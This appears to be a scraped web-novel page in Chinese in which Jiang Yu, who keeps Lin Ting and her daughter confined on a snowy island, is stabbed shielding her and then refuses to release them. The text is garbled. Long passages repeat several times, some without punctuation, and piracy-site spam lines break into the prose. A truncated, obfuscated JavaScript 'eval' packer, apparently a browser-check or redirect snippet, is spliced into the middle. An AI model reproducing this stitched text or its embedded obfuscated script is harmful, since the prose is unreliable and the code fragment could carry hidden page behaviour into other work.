这抹打量了陶瓷娃娃一眼,却并不在意的目光,落在江遇的眼里。 江遇道,“如果你还想把它们摔碎,我不介意重新再修复一次。 车子缓缓从城堡里开出去,林听打开车窗,呼吸着窗外冰天雪地里的冷冽空气,“我没你那么无聊。 她只顾欣赏这一路的雪景,不再和江遇搭话。 江遇勾唇,苦笑。 他所有的坚持与执着,到了林听这里却只是无聊。 这一天柚子放学时,**遇安排的保安领出校门口,第一眼见到妈妈,她开心地跑过来,扑到妈妈面前,抱紧妈妈的双腿。 这还是来到这座岛屿,妈妈第一次接她放学呢。 小小的脑袋昂起来,满眼欢喜,“妈妈,今天怎么是你来接我放学? “妈妈带你逛街。 说的域名caixs▆(请来才小 说 看最新章节 完整章节)说着,林听往柚子的手里塞了一张纸条。 柚子秒懂,妈妈是让她找机会搬救兵。 这时,江遇走过来,拉住了柚子的小手,从她的掌心里,硬生生抢走被她死死攥住的纸条。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 还能快速转化成轮船功能,在水里航行三百多公里。 来到国外,虽然请了很多保镖,但是依然要注意这些安全防护。 所以江遇把这辆轿车一同运到了岛上。 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她以为,今天不能再逛街了,江遇望向她,却道,“不是要散心?去街上看看,有没有什么感兴趣的。 “你不是要囚禁我吗,干嘛假惺惺地带我出来逛街?你早就知道我会想办法联系周自衡,你还带我出来干什么? “听听,我从来没有想过要囚禁你。 她不是他关在笼子里的金丝雀。 见到怀孕后整天孕吐,整个人也闷闷不乐的,他想带她出来透透气。 他也希望她快乐。 希望看到她和柚子的笑容。 他就不明白了,为什么这样的笑容和幸福里面,不能有他? 那张用来联络周自衡的纸条,还是如出一辙,他只看了一眼,便撕碎了扔地在上。 “这街上的人都看不懂中文,你不用白费心思了。 “我们一家三口从来没有一起逛过街,今天带柚子好好逛逛,你也透透气。 林听牵着柚子,瞪着他,“如果你真想让我好好透口气,那你让我和柚子自己逛街,别跟着我们。 江遇沉默了几秒钟。 看了看柚子,又看了看她,“好,我可以不跟着你们,但是保镖和翻译要跟着。 今天他只是想带她出来散心的,不会真的剥夺她的自由。 她讨厌跟他在一起,所以,他也很识趣的,不再打算跟着她们母子。 林听知道,保镖和翻译必须得跟着,再怎么拒绝,江遇也不会撤走,只好默认,带着柚子坐上离开了幼儿园。 两个保镖不远不近地跟着。 一个年轻的本地女翻译,则跟着她们母女俩。 街两旁有厚厚的积雪。 不过有专门的工人在清扫着路中央的积雪。 林听第一次和女儿在这样冷冽的雪地里,漫无目的地闲逛着。 她们去了商场,去了附近的小吃街。 买了东西,也吃了一些国内没见过的小吃。 林听终于有了一些胃口,连着品尝了好几种街头特色美食。 只不过,刚刚吃了东西 她胃部不适蹲在街边又吐了起来。 这一路逛下来她没有在街上发现任何一个黄皮肤的人。 那个到过城堡的黄皮肤黑镜框的医生是她见过的唯一的会说中文的黄皮肤人好不容易给了他纸条却**遇给发现了。 吐了个晕天暗地后林听情绪突然好低落。 这个时候周自衡能陪在她身边那该多好! 可是她没有任何办法能够联系上他。 “妈妈你哭了吗?”柚子拍着她的背心疼地抱了抱她。 她擦擦嘴巴同样抱着柚子“柚子对不起妈妈还是没有办法让你回到爸爸身边。” 她们可能要永远被困在这个岛上了。 按照目前的情况来看她们母女俩没有任何助力。 唯一想帮她的陈叔和吴婶每天也**遇的人盯得很紧他们二老也从来没有离开过那座城堡。 可能真的要在这个鬼地方呆上一辈子了。 林听第一次感到如此沮丧。 柚子小小的手儿拭过她的泪痕“妈妈不哭!” 林听抱紧柚子“柚子我好想爸爸。” “我也好想爸爸。”柚子依偎在妈妈的肩头拍着妈妈的背。 这时一张深色的手绢递到林听的面前拭去了她的泪水。 那是江遇。 他一直在车上跟随着母女俩。 见到她在这里吐得晕天暗地吐完了还哭起来了 一个没忍住下了车。 他实在是不明白林听为什么如此无法原谅他。 他从来没有背叛过她呀! 全世界的水都会再重逢北冰洋与尼罗河也会在湿云中重新交融。 可是为什么他们就不能回到过去重新水**融呢? 那张拭过林听泪水的手绢被林听抢过来扔在地上。 起身的时候她狠狠踩着那张手绢瞪着江遇。 “我今天不想回城堡你能不能让我和柚子单独呆会儿?” 语声里带着对他的强烈不满和愤怒。 甚至还有些情绪崩溃。 她要怎样才能离开这个鬼地方回到周自衡的身边? 见到她如此不满,江遇深吸一口气,“天色晚了,有什么回去再说,这里的治安不像国内。” 林听怼回去,“你知道这里治安不好,你还要带我和柚子来这里?你脑子有病吧。” 江遇坚持:“要继续逛可以,我陪着你们。” 说着,他牵起柚子的手,陪她们母女俩继续逛下去。 忽然。 身后有摩托车的声音轰轰轰响起。 林听还没反应过来,那坐在摩托车后排的,一个戴着耳钉的黄毛少年抢夺着垮在她肩上的包,另一个扎着脏脏辫子的年轻小伙用刀砍向她逼她松手。 包包里有林听的护照和身份信息。 原本她是想借着今天出来逛街的机会,看看能不能带柚子逃离这里的。 可是江遇没给她丝毫机会。 她拉着被抢的包包没有松手,寒光闪闪的刀子朝她砍下来。 “小心!” 就在这电光火石之间,男人高大伟岸的身影,一个侧步转身,将她完全遮挡。 寒光闪闪的刀子,直接砍在江遇的后背。 黑色的大衣立即破开一道口子。 鲜血浸出来! 十几米远外的保镖快速追上来,那骑着摩托车的本地混混少年,这才拿着被抢的包包,溜之大吉。 杰西赶紧将吓坏的柚子抱起来。 林听看了看江遇被砍的后背,衣服口子全都破开了,里面皮开肉绽,鲜血淋淋。 她忽然想起了那年林建国五十岁大寿。 她提前去了景德镇,打算亲自学古老的制窑手法,给林建国做一套青花瓷的茶具。 因为林建国最爱青花瓷。 在小镇上,有条流浪恶狗冲出来,狠狠地扑向她。 江遇也是像此刻一样,奋不顾身地挡在她的面前,被狗撕咬着,咬掉了他好大一块肉。 当时江遇缝了很多针。 如果是那一年的她,见到此刻的江遇满背鲜血直流,一定会急哭的。 可是此刻,林听没有哭。 人心是肉长的,虽然她不想他就这样死掉,但她没有那年那般着急和害怕了。 她只是瞪了他一眼,用凶巴巴的语气,训斥道,“江遇,你不要命了?” 又急,又凶,然后扶着他,“赶紧上车,杰西,送他去医院。 江遇高瘦的身躯,却像是在原地锭了钉子似的,一步不挪。 他抓着林听的手腕,“听听,我要是**,你会不会为我掉眼泪? 林听没有回答:“…… 她没有想过这个问题。 而且,刚刚他只挨了一刀,不至于要他命吧。 她也是有血有肉之人,不愿意看到江遇遭此横祸,可她的态度还是凶巴巴的,“你把我们母女俩囚禁在这个岛上,要死也得等送我们回国后再死,我才不会为你掉一滴眼泪。你别以为…… 男人结实的身躯,忽然像一截被砍断的树枝一样,又重又沉地倒向了林听的怀里。 林听哪里扶得动他一米八几的高大个子。 她紧紧抱着江遇,这才不至于让江遇顺着她的怀抱倒在地上。 身侧的杰西将柚子放下来,帮她扶着江遇,她这才松开手来。 旁边的柚子,看着她的手掌,满眼惊慌,“妈妈,你手上好多血! 林听这才发现,刚刚抱紧江遇才不至于让他摔在地上时,她的手上沾满了他后背涌出血的鲜血。 江遇不是只挨了一刀吗,怎么会流这么多的血? 那些沾在掌心里的血,让她微微颤抖,“杰西,快送他去医院。 …… 医院。 手术进行了三个多小时了。 林听和柚子在手术室外等着,有专门的保镖守在她们身旁。 夜深了。 柚子依偎在妈妈的怀抱里,眼皮很沉,却并没有睡意,“妈妈,那个人会不会死掉? 林听垂眸,望着怀里的女儿。 女儿通红的眼眶里,依稀有泪光。 她从未叫过江遇一声爸爸,可是这铁板钉钉的血缘亲情是她们无法割断的。 江遇是柚子的亲生父亲。 柚子恨江遇,可是她肯定不希望江遇就这么**。 林听问,“你也不希望他这么死掉,对不对? “……柚子迟疑了片刻,没有直接回答她。 然后,痛苦的眸子里流出泪水来,“我讨厌他,可是我从来没想过要他死掉。 那 是她的亲生父亲。 再怎么样,她身上也流着他的血。 血缘关系无法割断。 林听用袖口,擦着女儿的泪水,“都说好人命不长,祸害活千年。那个人那么坏,他肯定不会这么轻易死掉的。” 柚子吸了吸鼻子,“他确实是祸害,但是我不想他就这么死掉。” 林听抱着女儿,没有再说话了。 此刻女儿最需要的就是拥抱,从小到大她和江遇亏欠柚子太多了。 看似坚强的女孩,内心其实有很多伤痛和空洞。 那是需要血缘亲情来填补的。 从江遇被捅这一刀,到此刻手术室的门紧闭着的这三四个小时的时间里,她的脑子乱糟糟的。 诚然,她恨江遇,恨到巴不得从来不曾认识过他。 可是她也从来没有想过,要他死。 杰西在旁边说,“太太,我先送你和柚子小姐回去休息吧,Mr江这边还不知道什么时候能结束。” 林听望着恭恭敬敬站在身边的蓝眼睛杰西,“江遇什么情况,你知道了吗?” 杰西沉默几秒钟,“……不太好!” 林听:“到底什么情况?” 杰西:“肺部贯穿伤,胸腔内积血。” 林听也是学医的。 肺部贯穿伤和胸腔内积血,危险程度,可轻可重。 如果大量积血,会导致血压下降,心率加快,意识模糊,数小时内可能会有生命危险。 江遇被送进医院时,在车上流了好多血。 林听下意识地攥紧手指。 她恨江遇,恨到一辈子都不想再和他有任何交集了,可此时也祈祷着他不会有生命危险。 这时,杰西对她说,“太太,Mr江进手术室打麻药之前,他吩咐我。要是他不能从手术台上活着出来,要我把你送回国内,送到Mr周的身边。” “……”林听的心更乱了。 许多从小到大,她与江遇的过往,如一帧帧电影片段,闪过脑海。 他们之间不是没有过真感情。 她不希望江遇有什么事。 杰西又说,“太太,我送你们回去。” 林听脑子乱得像是一团浆糊,“我在这里等他手术结束。 ” 杰西坚持“Mr江还说了你怀着身孕一定要我先送你回城堡要你好好休息。” 杰西坚持要将林听送回去加上柚子还在身边林听只好先回了城堡。 这一夜比来到这座小岛的六十多天的每一夜都要漫长许多。 早上六点多林听醒了。 第一时间给杰西打去电话“杰西江遇怎么样了?” 那头又沉默了几秒钟“情况不太好太太我回去再跟你说吧。” 电话挂断了。 林听的心也悬挂着。 早餐的时候陈叔和吴婶听闻江遇在医院做手术也是跟着担忧。 吴婶给林听和柚子倒着牛奶一着焦急地问“小听小陈一直没接我电话江遇到底什么情况你知道吗?” 林听昨天晚上没有睡好。 她的脸色很憔悴沉沉地叹了一口气却不知道该怎么回答吴婶是好。 旁边的小柚子也抬起脑袋来问她“妈妈那个人真的会死掉吗?” “……”无法回答的问题让林听心慌慌的她给柚子端了一块蜜柚蛋糕。 陈叔看到那块蛋糕忽然有些哽咽“昨天江先生还吩咐过柚子喜欢吃蜜柚味的蛋糕要我吩咐厨房一定要用从国内运过来的沙田柚。江先生始终记得小柚子喜欢吃柚子喜欢吃芝士焗蜗牛不吃香菜不吃葱对花生过敏……” 是的柚子很喜欢吃蜜柚味的蛋糕。 但凡和蜜柚有关的食物她都喜欢。 可是来到这个岛屿后柚子一口也没有尝过。 因为她知道那块蜜柚味的蛋糕是那个人亲自为她做的。 她讨厌那个人。 但凡是那个人做的东西 可是这些天的天天滴滴柚子都看在眼里那个人是真心希望弥补她真心希望能够当个好爸爸。 柚子第一次舀了一勺那块蜜柚味的蛋糕。 那味道明明很甜却有些苦涩。 柚子吃着吃着落了泪一定是蜜柚坏了是苦的一定是。 柚子不愿意承认她是为了那个人而落泪的。 这个时候杰西从外面走回来带着一身风雪的味道神色沉重地望向餐桌上的林听。 林听顿时放下手中的餐具起身问“西杰江遇怎么样了?” 杰西没有立即回答但从他沉沉的脸色不难看出来情况一定不太好。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 ” 杰西坚持,“Mr江还说了,你怀着身孕,一定要我先送你回城堡,要你好好休息。” 杰西坚持要将林听送回去,加上柚子还在身边,林听只好先回了城堡。 这一夜,比来到这座小岛的六十多天的每一夜,都要漫长许多。 早上六点多,林听醒了。 第一时间给杰西打去电话,“杰西,江遇怎么样了?” 那头又沉默了几秒钟,“情况不太好,太太,我回去再跟你说吧。” 电话挂断了。 林听的心也悬挂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这一夜,比来到这座小岛的六十多天的每一夜,都要漫长许多。 早上六点多,林听醒了。 第一时间给杰西打去电话,“杰西,江遇怎么样了? 那头又沉默了几秒钟,“情况不太好,太太,我回去再跟你说吧。 电话挂断了。 林听的心也悬挂着。 早餐的时候,陈叔和吴婶听闻江遇在医院做手术,也是跟着担忧。 吴婶给林听和柚子倒着牛奶,一着焦急地问,“小听,小陈一直没接我电话,江遇到底什么情况,你知道吗? 林听昨天晚上没有睡好。 她的脸色很憔悴,沉沉地叹了一口气,却不知道该怎么回答吴婶是好。 旁边的小柚子也抬起脑袋来,问她,“妈妈,那个人真的会死掉吗? “……无法回答的问题,让林听心慌慌的,她给柚子端了一块蜜柚蛋糕。 陈叔看到那块蛋糕,忽然有些哽咽,“昨天江先生还吩咐过,柚子喜欢吃蜜柚味的蛋糕,要我吩咐厨房一定要用从国内运过来的沙田柚。江先生始终记得,小柚子喜欢吃柚子,喜欢吃芝士焗蜗牛,不吃香菜不吃葱,对花生过敏…… 是的,柚子很喜欢吃蜜柚味的蛋糕。 但凡和蜜柚有关的食物,她都喜欢。 可是来到这个岛屿后,柚子一口也没有尝过。 因为她知道,那块蜜柚味的蛋糕是那个人亲自为她做的。 她讨厌那个人。 但凡是那个人做的东西,她都不愿意吃。 可是这些天的天天滴滴,柚子都看在眼里,那个人是真心希望弥补她,真心希望能够当个好爸爸。 柚子第一次,舀了一勺那块蜜柚味的蛋糕。 那味道明明很甜,却有些苦涩。 柚子吃着吃着,落了泪,一定是蜜柚坏了,是苦的,一定是。 柚子不愿意承认,她是为了那个人而落泪的。 这个时候,杰西从外面走回来,带着一身风雪的味道,神色沉重地望向餐桌上的林听。 林听顿时放下手中的餐具,起身问,“西杰,江遇怎么样了? 杰西没有立即回答,但从他沉沉的脸色不难看出来,情况一定不太好。 你的朋友正在书荒,快去帮帮他吧 ” 杰西坚持,“Mr江还说了,你怀着身孕,一定要我先送你回城堡,要你好好休息。” 杰西坚持要将林听送回去,加上柚子还在身边,林听只好先回了城堡。 这一夜,比来到这座小岛的六十多天的每一夜,都要漫长许多。 早上六点多,林听醒了。 第一时间给杰西打去电话,“杰西,江遇怎么样了?” 那头又沉默了几秒钟,“情况不太好,太太,我回去再跟你说吧。” 电话挂断了。 林听的心也悬挂着。 早餐的时候,陈叔和吴婶听闻江遇在医院做手术,也是跟着担忧。 吴婶给林听和柚子倒着牛奶,一着焦急地问,“小听,小陈一直没接我电话,江遇到底什么情况,你知道吗?” 林听昨天晚上没有睡好。 她的脸色很憔悴,沉沉地叹了一口气,却不知道该怎么回答吴婶是好。 旁边的小柚子也抬起脑袋来,问她,“妈妈,那个人真的会死掉吗?” “……”无法回答的问题,让林听心慌慌的,她给柚子端了一块蜜柚蛋糕。 陈叔看到那块蛋糕,忽然有些哽咽,“昨天江先生还吩咐过,柚子喜欢吃蜜柚味的蛋糕,要我吩咐厨房一定要用从国内运过来的沙田柚。江先生始终记得,小柚子喜欢吃柚子,喜欢吃芝士焗蜗牛,不吃香菜不吃葱,对花生过敏……” 是的,柚子很喜欢吃蜜柚味的蛋糕。 但凡和蜜柚有关的食物,她都喜欢。 可是来到这个岛屿后,柚子一口也没有尝过。 因为她知道,那块蜜柚味的蛋糕是那个人亲自为她做的。 她讨厌那个人。 但凡是那个人做的东西,她都不愿意吃。 可是这些天的天天滴滴,柚子都看在眼里,那个人是真心希望弥补她,真心希望能够当个好爸爸。 柚子第一次,舀了一勺那块蜜柚味的蛋糕。 那味道明明很甜,却有些苦涩。 柚子吃着吃着,落了泪,一定是蜜柚坏了,是苦的,一定是。 柚子不愿意承认,她是为了那个人而落泪的。 这个时候,杰西从外面走回来,带着一身风雪的味道,神色沉重地望向餐桌上的林听。 林听顿时放下手中的餐具,起身问,“西杰,江遇怎么样了?” 杰西没有立即回答,但从他沉沉的脸色不难看出来,情况一定不太好。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 第176章 孩子是周自衡的 林听意识到情况不太好,下意识地攥紧衣服一角。 她看着脸色沉重的杰西,又问了一遍,“杰西,你直接说吧,江遇是死是活,让我们心里有个底。 杰西反问,“太太,你希望Mr江活着,还是希望他就这样死掉好了? “……这个问题,林听回答不上来。 她不希望江遇死。 纵使过去这段感情里,他有千般错万般错,也罪不至死。 她不知道自己为什么会眼眶潮湿。 或许是因为,昨夜的江遇又如同多年前在景德镇一样,义无反顾地扑到她的面前,替她挡去了危险。 他明明看到了那个摩托混混手中寒光刀刀的长刀子。 那种长长的刀子,在国内是管制用品,比切西瓜的刀子还要长,还要锋利。 江遇怎么想都不想一下,就挡在了她的面前? 她没有回答杰西。 她无力地坐回了椅子里,身子像是要瘫软。 杰西说,“Mr江已经做完手术了,但是还没有脱离生命危险,还在重症监护室。医生说,如果今天他能脱离危险,就能活下来。如果今天不能,就没多大希望了。太太,你去收拾收拾东西吧。 旁边的吴婶和陈叔,不明白杰西的话,异口同声问,“收拾东西干什么? 杰西答,“Mr江吩咐过,如果他醒不过来的话,让我将太**全护送回国。他还说,如果他不能给太太幸福,他愿意放手祝福太太和周先生。 忽然,林听有些泪目。 她与江遇之间关系,不是爱与不爱,恨与不恨,如此三言两语就能说得清楚的。 餐桌前的每一个人,都沉默了。 压在众人心间的气氛,沉沉的。 每一个人脸上的神色,都十分沉重,包括柚子。 杰西又说,“太太,如果Mr江没有醒过来的话,我明天就送你回鹏城。海上的航程大约在一个星期,你好好准备准备。当然,我也不希望送你回国,但是该准备的,太太还是要提前准备。 说完,杰西离开了餐厅,又返回医院了。 餐桌前的沉默,没有一个人打破。 直到好几分钟后,陈叔不敢相信地问道,“小听,江先 生昨晚伤得很重吗?” 她摇头,又点头。 当时天色暗下来了,她没看清他背后的伤。 只知道江遇流了好多的血,只知道那个骑摩托和混混所拿的刀子又长又宽,一刀砍下来整个刀刃上全是血。 旁边的吴婶,沉沉地叹了一口气,“唉,好矛盾,我又希望小听能够回国,又不希望。小听,你说我要不要去为你收拾行李?” 林听缓了片刻,才答:“先别收拾了。不管怎么样,我们都应该去见江遇一面。” 只希望他能挺过这一关。 毕竟他是为了替她挡刀子,这才伤得如此重,危及到了性命。 这一夜,林听又没怎么睡。 她看着像小猫咪一样,睡在自己身旁的柚子。 知子莫若母。 她知道,柚子也不希望江再也醒不过来了。 如果江遇能够醒过来,又能醒悟,送她们母女俩回国,让她和周自衡团聚。 以后柚子能多一个亲生父亲疼爱她,也是一件好事。 江遇始终是柚子的亲生父亲。 也许时间久了,父女俩之间的恨意,都会随着时间的消散而慢慢变淡。 只是不知道江遇到底能不能挺过这一关。 这一夜过得有些漫长。 林听在忐忑不安中,迷迷糊糊睡了一阵。 醒来的时候,天已经亮了。 她带着柚子下楼时,立马问,“陈叔,吴婶,杰西打电话来了吗?” 吴婶摇头,“没有,我们也是一大早就起来等电话了。” 直到中午,杰西才打过来电话。 电话是吴婶接的。 挂了座机,吴婶欣慰落泪,“小听,江先生度过危险,醒过来了。杰西说再观察两天,就可以转普通病房了。” 坐在沙发上久久沉思的林听,终于眉心舒展,露出一丝笑容来。 没过一会儿,小陈也回到了城堡,来到众人面前,看向林听,“太太,江先生醒过来了。您要不要去医院看望一下他。他想见你。但是他让我转告你,如果你不想去的话,也不用勉强。江先生还让我向你说声抱歉,要等他康复出院了,才能回来照顾你和柚子。” 林听侧头,看向坐在身侧的柚 子,问,“柚子,那个人醒过来了,你要去医院看看他吗?” “……”仇恨的种子还埋在柚子的心里。 她下意识地别开脑袋,小鼻子里发出一声轻哼声,“哼,我才不要去探望那个人。” 但其实,那个人已经醒过来了,柚子心里松了一大口气。 她背对着妈妈,落下了泪水。 那泪水,绝对不是之前纯粹的痛苦与仇恨,它掺杂了这世间复杂而又让人琢磨不透的血缘亲情。 林听知道,柚子还没有完全放下过去,她摸摸柚子的脑袋,“没关系,你不想去就不去,好好呆在家里,妈妈去去就回来。” 毕竟江遇是因为她而重伤成这样。 还是应该去医院看望一下。 她望向陈叔和吴婶,“陈叔,吴婶,麻烦你们帮我照看好柚子,我去一趟医院就回来。” 小陈带着林听离开后,柚子朝着外面张望着。 窗外的世界,依旧雪茫茫一片。 屋檐,树枝,花草,全被大雪覆盖着。 一眼望不到尽头。 柚子望着要雪中离开的车子,缓缓问,“吴奶奶,那个人真的脱离生命危险,不会再死掉了吗?” 吴婶替江遇欣慰,“柚子,其实你也担心那个人的安危,对吗?” “我才不担心他。”柚子又哼了哼声。 可是那个人确实是为了救妈妈,才受伤的,她有些后悔没有跟着妈妈上车。 …… 医院里,江遇已经从重症监护室,转移到了普通病房。 失血过多的他,脸色有些苍白,却难掩他英俊的容颜。 林听见到他时,他冲着她微笑,笑着笑着,眼中有了泪水。 他就知道,他的听听不会丢下他不管。 他的听听,依然还会担忧他的安危。 那泪水饱含了他太多的委屈。 见到他满眼饱含泪水,林听在离他几步之遥的地方,停了下来,“谢谢你,替我挡了这一刀。否则躺在这里的人就是我。我也替周自衡谢谢你,如果不是你站不来挡了这一刀,我肚子里周自衡的孩子可能就保不住了。” 江遇的欣慰,不过两秒钟。 周自衡这个人名,此刻打破了江遇所有 的幻想。 原以为这一次,能够拉近他与林听之间的关系,没想到他们之间还是隔着一个周自衡。 他望向她的小腹,“如果我记得没错,今天应该是孕11周又两天了?” 对。 怀孕的每一天,林听都会写日记。 今天确实是她孕11周又两天了。 如果不是因为大冬天的,她穿得如此厚,她的小腹已经能够看出不太明显的孕肚了。 没想到江遇连这个也记得如此清楚。 江遇依旧看着她的小腹,问,“你怎么样,身体还舒服吗?” 林听点点头,“我没事,你自己好好养伤就成。江遇,你说的……” 她本是想问他,说好的要送她和柚子回鹏城的事情,什么时候安排。 江遇却先开了口,“听听,这个孩子虽然不是我的,但是我一定会视如己出。你怀柚子的整个孕期,我都错过了。这一次,我不会错过,我会好好照顾你,直到你做完月子,恢复身体。” 林听皱起眉头来,满眼不解,“江遇,你说好的,要让杰西送我们母女回鹏城的。” 现在怎么能如此出尔反尔? 江遇嘴角崩成直线,收起笑容后,脸色变得严肃而认真,“我是说过要让杰西送你们回鹏城,前提条件是如果我不能从手术室活着出来。但是现在我还活着。周自衡能给你的一切,我也能给你。” 这个男人,还是如此固执。 林听问,“江遇,你是不是以为你替我挡了一刀,我就要该感恩戴德,以身相许?” 躺在病床上的江遇,依旧在虚弱之中。 那两片抬起的薄唇,毫无血色,“听听,我不会逼你。我们之间的感情,需要花时间去修复。我会给你时间的。不管多久,我都会等。” 林听深吸了一口气。 满屋子消毒水的味道,让人窒息而压抑。 “所以,你还是要将我和柚子继续囚禁在岛上?” 江遇不答,反问,“你以前不是最喜欢下雪的地方吗?这不叫囚禁。” 林听:“我宁愿你没有醒过来。” 江遇:“你口是心非。你明明很担忧我。我做手术的时候,你明明有机会带着柚子逃走,但是你没有,你留在手 术室外等我做手术,不就说明你心里还有我?” 林听:“江遇,我承认,我不希望你死,但这并不代表我会和你破镜重圆。请你搞清楚,不要自作多情。” 这次病房探望,不欢而散。 林听在气愤中,离开了医院,回到了城堡。 …… 半个月后,江遇康复出院。 一辆白色的比亚迪定制轿车,缓缓驶进城堡。 柚子站在风雪中,戴着帽子,围着围巾,迎着漫天的雪花,迎接着从车上走下来的江遇。 江遇第一时间见到柚子,脸上露出欣慰的笑容。 他大步朝本子走过去,扫掉落在柚子帽子上和围巾上衣服上的雪花。 “柚子,你是在这里特意等爸爸的吗?” 柚子不答反问,“你彻底康复了吗?” “柚子是在关心爸爸?”风雪像刀子一样刮过脸颊,江遇的心却突然暖洋洋的。 那颗冰冷的心,终于又有了温暖的感觉。 一个大男人,蹲下来看着眼前的小女娃,忽然泪目了。 他的柚子,终于也会担忧他的安危了。 柚子并没有回答他的问题,而是笑也不笑一下,道,“谢谢你救了我妈妈。我听妈妈说,我们依然不能离开这座岛屿。如果你愿意送我和妈妈回去的话,我会很感激。但是如果你还要把我们强留在这里,我依然不会认你的。” 说完,柚子扭了脑袋,转身离开。 小小的她在雪地里,落下一排小小的脚印。 江遇缓缓起身,看来这两母女还是归心似箭。 是,他是说过如果他醒不过来,要杰西送她们母女俩回到鹏城。 可他已经醒过来了,周自衡能给这两母女的,他江遇也能给,并且还会给更多。 并不是只有周自衡,愿意为她们母女俩豁出去一条性命。 他江遇也愿意。 为什么她们母女俩,感受不到他的真心? 难道他犯了错,就一辈子也没有改正赎罪的机会了吗? 人非圣贤,熟能无过? 江遇决心已定。 他要等到林听回心转意,愿意嫁给他为止,他才会离开这座岛屿,和她一起回国。 到个时候 回国,就应该是他向所有人,宣布他与林听婚讯的时候了。 …… 转眼,又过去了三个月的时间。 此时,国内正是阳春三月,正是春暖花开。 这座岛屿,依然积雪不化。 这里每年要下半年的雪,直到五六月份才会有短暂的春天和夏天。 林听已经怀身快六个月了。 此时,哪怕穿着厚厚的羽绒服,依然能够明显地看出她大大的肚子。 每一次产检,都是江遇亲自陪她去的。 今天的产检,要做血检和超声大排畸。 做B超的时候,江遇陪同在身侧,医生用当地的罕见语种,对他说,“先生,您太太肚子里的宝宝非常健康,而且很活泼。恭喜你们。它在肚子里动了,先生,你要摸摸吗? 江遇用这里的小语种语言,问,“我可以摸吗? 对方露出一口洁白的牙齿,笑道,“当然。 林听根本听不懂,江遇和产检的医生说什么。 江遇来到这个岛屿之前,并不懂这里的小语种语言。 为了来这里,他才在短短一个月的时间,学会了这里的语言。 得到允许后,他带着复杂的神色,手掌轻轻落在林听高高隆起的小腹。 果然,小家伙在肚子里踢了一下。 柚子小的时候,是不是也是这样踢着林听的肚子的? 可是,这个小家伙不是他的孩子,是周自衡的,爱 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做B超的时候江遇陪同在身侧医生用当地的罕见语种对他说“先生您太太肚子里的宝宝非常健康而且很活泼。恭喜你们。它在肚子里动了先生你要摸摸吗?” 江遇用这里的小语种语言问“我可以摸吗?” 对方露出一口洁白的牙齿笑道“当然。” 林听根本听不懂江遇和产检的医生说什么。 江遇来到这个岛屿之前并不懂这里的小语种语言。 为了来这里他才在短短一个月的时间学会了这里的语言。 得到允许后他带着复杂的神色手掌轻轻落在林听高高隆起的小腹。 果然小家伙在肚子里踢了一下。 柚子小的时候是不是也是这样踢着林听的肚子的? 可是这个小家伙不是他的孩子是周自衡的爱乌鸦及乌他会将这个孩子视如己出抚养长大。 他对林听温柔笑道“听听宝宝刚刚踢你了我感受到了。生下来一定会是个调皮的宝宝你生柚子的时候我没能照顾你这一胎我一定好好弥补。” 林听往他身上泼冷水般冷冷道“你不必装得如此深情这孩子不是你的你再怎么情深如父他都不是你的孩子。” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 回国,就应该是他向所有人,宣布他与林听婚讯的时候了。 …… 转眼,又过去了三个月的时间。 此时,国内正是阳春三月,正是春暖花开。 这座岛屿,依然积雪不化。 这里每年要下半年的雪,直到五六月份才会有短暂的春天和夏天。 林听已经怀身快六个月了。 此时,哪怕穿着厚厚的羽绒服,依然能够明显地看出她大大的肚子。 每一次产检,都是江遇亲自陪她去的。 今天的产检,要做血检和超声大排畸。 做B超的时候,江遇陪同在身侧,医生用当地的罕见语种,对他说,“先生,您太太肚子里的宝宝非常健康,而且很活泼。恭喜你们。它在肚子里动了,先生,你要摸摸吗? 江遇用这里的小语种语言,问,“我可以摸吗? 对方露出一口洁白的牙齿,笑道,“当然。 林听根本听不懂,江遇和产检的医生说什么。 江遇来到这个岛屿之前,并不懂这里的小语种语言。 为了来这里,他才在短短一个月的时间,学会了这里的语言。 得到允许后,他带着复杂的神色,手掌轻轻落在林听高高隆起的小腹。 果然,小家伙在肚子里踢了一下。 柚子小的时候,是不是也是这样踢着林听的肚子的? 可是,这个小家伙不是他的孩子,是周自衡的,爱乌鸦及乌,他会将这个孩子视如己出抚养长大。 他对林听温柔笑道,“听听,宝宝刚刚踢你了,我感受到了。生下来一定会是个调皮的宝宝,你生柚子的时候我没能照顾你,这一胎我一定好好弥补。 林听往他身上泼冷水般,冷冷道,“你不必装得如此深情,这孩子不是你的,你再怎么情深如父,他都不是你的孩子。 你的朋友正在书荒,快去帮帮他吧 回国,就应该是他向所有人,宣布他与林听婚讯的时候了。 …… 转眼,又过去了三个月的时间。 此时,国内正是阳春三月,正是春暖花开。 这座岛屿,依然积雪不化。 这里每年要下半年的雪,直到五六月份才会有短暂的春天和夏天。 林听已经怀身快六个月了。 此时,哪怕穿着厚厚的羽绒服,依然能够明显地看出她大大的肚子。 每一次产检,都是江遇亲自陪她去的。 今天的产检,要做血检和超声大排畸。 做B超的时候,江遇陪同在身侧,医生用当地的罕见语种,对他说,“先生,您太太肚子里的宝宝非常健康,而且很活泼。恭喜你们。它在肚子里动了,先生,你要摸摸吗?” 江遇用这里的小语种语言,问,“我可以摸吗?” 对方露出一口洁白的牙齿,笑道,“当然。” 林听根本听不懂,江遇和产检的医生说什么。 江遇来到这个岛屿之前,并不懂这里的小语种语言。 为了来这里,他才在短短一个月的时间,学会了这里的语言。 得到允许后,他带着复杂的神色,手掌轻轻落在林听高高隆起的小腹。 果然,小家伙在肚子里踢了一下。 柚子小的时候,是不是也是这样踢着林听的肚子的? 可是,这个小家伙不是他的孩子,是周自衡的,爱乌鸦及乌,他会将这个孩子视如己出抚养长大。 他对林听温柔笑道,“听听,宝宝刚刚踢你了,我感受到了。生下来一定会是个调皮的宝宝,你生柚子的时候我没能照顾你,这一胎我一定好好弥补。” 林听往他身上泼冷水般,冷冷道,“你不必装得如此深情,这孩子不是你的,你再怎么情深如父,他都不是你的孩子。” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 第177章 该放手了 如同是重重的一拳,打在江遇的心头。 他的掌心依旧贴着林听高高隆起的小腹处。 